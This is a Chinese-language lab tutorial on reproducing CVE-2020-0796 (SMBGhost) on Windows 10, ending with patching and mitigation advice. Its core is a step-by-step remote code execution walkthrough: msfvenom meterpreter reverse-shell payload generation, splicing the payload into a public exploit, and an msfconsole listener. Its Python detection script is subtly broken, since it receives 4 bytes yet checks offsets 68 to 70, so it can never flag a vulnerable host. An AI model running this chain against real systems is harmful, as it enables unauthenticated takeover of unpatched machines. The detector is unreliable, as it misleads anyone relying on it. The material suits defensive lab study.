1. 漏洞背景与原理剖析
CVE-2020-0796这个漏洞被安全圈称为"永恒之黑",它和当年震惊世界的"永恒之蓝"属于同一个家族——都是利用SMB协议漏洞进行攻击。不过这次的主角是SMBv3.1.1版本,漏洞出在协议处理压缩数据包的功能模块上。
简单来说,当Windows系统处理特制的压缩数据包时,由于没有正确校验数据长度,会导致内存越界写入。攻击者利用这个特性,可以精心构造数据包,在目标系统上执行任意代码。最要命的是,这个漏洞不需要任何身份验证,只要SMB服务开着(默认监听445端口),攻击者就能直接打进来。
我在实际测试中发现,这个漏洞的利用成功率与内存布局密切相关。有时候第一次尝试就能成功,有时候需要多次尝试才能触发。这主要是因为内存分配存在随机性,需要靠运气"撞上"正确的内存布局。
2. 影响范围确认
受影响的系统主要是Windows 10 1903和1909版本,包括:
- 32位、64位和ARM64架构的桌面版
- Server Core安装模式的服务器版
这里有个容易忽略的细节:只有开启了SMBv3.1.1压缩功能(默认开启)的系统才会受影响。我在实验室用以下命令可以快速检查SMB版本:
Get-SmbServerConfiguration | Select EnableSMB3Protocol如果返回True,说明系统存在风险。建议企业用户特别关注服务器环境,很多内部文件服务器都使用SMB协议共享资源。
3. 实验环境搭建
为了安全复现这个漏洞,我建议使用以下隔离环境:
- 靶机:Windows 10 1909 (Build 18363.720)
- 攻击机:Kali Linux 2020.1
- 网络配置:使用虚拟机的Host-Only模式组网
特别注意:一定要在隔离环境中测试!我在初期测试时曾不小心影响到同网段其他机器,后来改用完全隔离的网络环境才放心。
靶机准备有个小技巧:先安装基础系统,然后暂停Windows Update,防止自动打补丁。可以用这个命令冻结更新:
net stop wuauserv4. SMB协议深度解析
理解SMB协议对成功复现漏洞至关重要。SMB协议的工作流程可以类比为去银行办业务:
- 先确认银行支持的业务类型(协议协商)
- 出示身份证件进行认证(会话建立)
- 取号选择具体业务(树连接)
- 办理存取款等操作(文件操作)
在漏洞复现过程中,我们最需要关注的是协议协商阶段。Wireshark抓包可以看到,客户端会发送SMB2_NEGOTIATE请求,服务器回应支持的协议版本。关键点在于响应包中的CompressionCapabilities字段,这就是漏洞的触发点。
我常用这个过滤条件快速定位关键数据包:
smb2.cmd == 0 && smb2.flags.response == 15. 漏洞检测实战
检测漏洞我推荐两种方法。第一种是使用现成的检测脚本:
import socket def check_vuln(ip): try: sock = socket.socket(socket.AF_INET) sock.settimeout(3) sock.connect((ip, 445)) # 发送特制探测包 sock.send(b'\x00\x00\x00\xc0\xfeSMB@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00$\x00\x08\x00\x01\x00\x00\x00\x7f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00x\x00\x00\x00\x02\x00\x00\x00\x02\x02\x10\x02"\x02$\x02\x00\x03\x02\x03\x10\x03\x11\x03\x00\x00\x00\x00\x01\x00&\x00\x00\x00\x00\x00\x01\x00 \x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\x00\n\x00\x00\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00') resp = sock.recv(4) if resp[68:70] == b"\x11\x03": print(f"[+] {ip} 存在永恒之黑漏洞") else: print(f"[-] {ip} 未检测到漏洞") except Exception as e: print(f"[!] 检测失败: {str(e)}") finally: sock.close()第二种方法是手动分析网络流量。用Wireshark抓包时,重点关注:
- SMB2协商响应中的Dialect字段是否为0x0311(表示SMBv3.1.1)
- 响应中是否包含CompressionTransform字段
6. 漏洞利用全流程
利用过程分为三个关键步骤,我结合自己的踩坑经验详细说明:
6.1 生成Shellcode
使用MSFVenom生成反向Shell的载荷:
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=攻击机IP LPORT=4444 -f py -o shellcode.txt这里有个坑:生成的Shellcode默认有坏字符,需要手动替换\x00等字符。我建议加上-b参数自动过滤:
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.0.0.1 LPORT=4444 -b '\x00' -f py -o shellcode.txt6.2 修改Exploit代码
找到GitHub上的利用工具后,需要将生成的Shellcode替换到USER_PAYLOAD部分。我建议:
- 将shellcode.txt内容复制到剪贴板
- 用sed命令快速替换:
sed -i '/USER_PAYLOAD = \[/r shellcode.txt' exploit.py6.3 启动监听与执行攻击
在Kali上启动MSF监听:
msfconsole -q -x "use exploit/multi/handler; set payload windows/x64/meterpreter/reverse_tcp; set LHOST 0.0.0.0; set LPORT 4444; run"然后运行修改好的exploit:
python3 exploit.py -ip 靶机IP如果一切顺利,你会看到meterpreter会话建立。但根据我的经验,成功率大约在60%左右,可能需要多次尝试。
7. 流量分析与疑难解答
通过Wireshark分析攻击流量,可以看到几个特征:
- 初始的SMB2协商请求
- 异常的压缩数据包(大小超过正常值)
- 后续可能出现的异常断开
常见问题及解决方法:
问题1:攻击后靶机蓝屏
- 解决方法:调整Shellcode长度,避免覆盖关键内存
问题2:MSF收到会话但立即断开
- 解决方法:检查防火墙设置,确保4444端口通畅
问题3:漏洞利用不稳定
- 解决方法:尝试不同的内存布局策略,比如增加延时
8. 防御建议与修复方案
对于企业管理员,我建议采取以下措施:
- 立即安装微软官方补丁(KB4551762)
- 临时禁用SMBv3压缩功能:
Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters" DisableCompression -Type DWORD -Value 1 -Force- 网络层防护:
- 在边界防火墙阻止445端口入站连接
- 部署IDS规则检测异常SMB流量
对于个人用户,最简单的防护方法是关闭SMB服务:
sc config lanmanserver start= disabled net stop lanmanserver在真实环境中测试这个漏洞时,我强烈建议先在非关键业务系统上验证补丁兼容性。曾经有客户反映安装补丁后导致某些老旧应用无法访问SMB共享,这种情况需要做好回滚计划。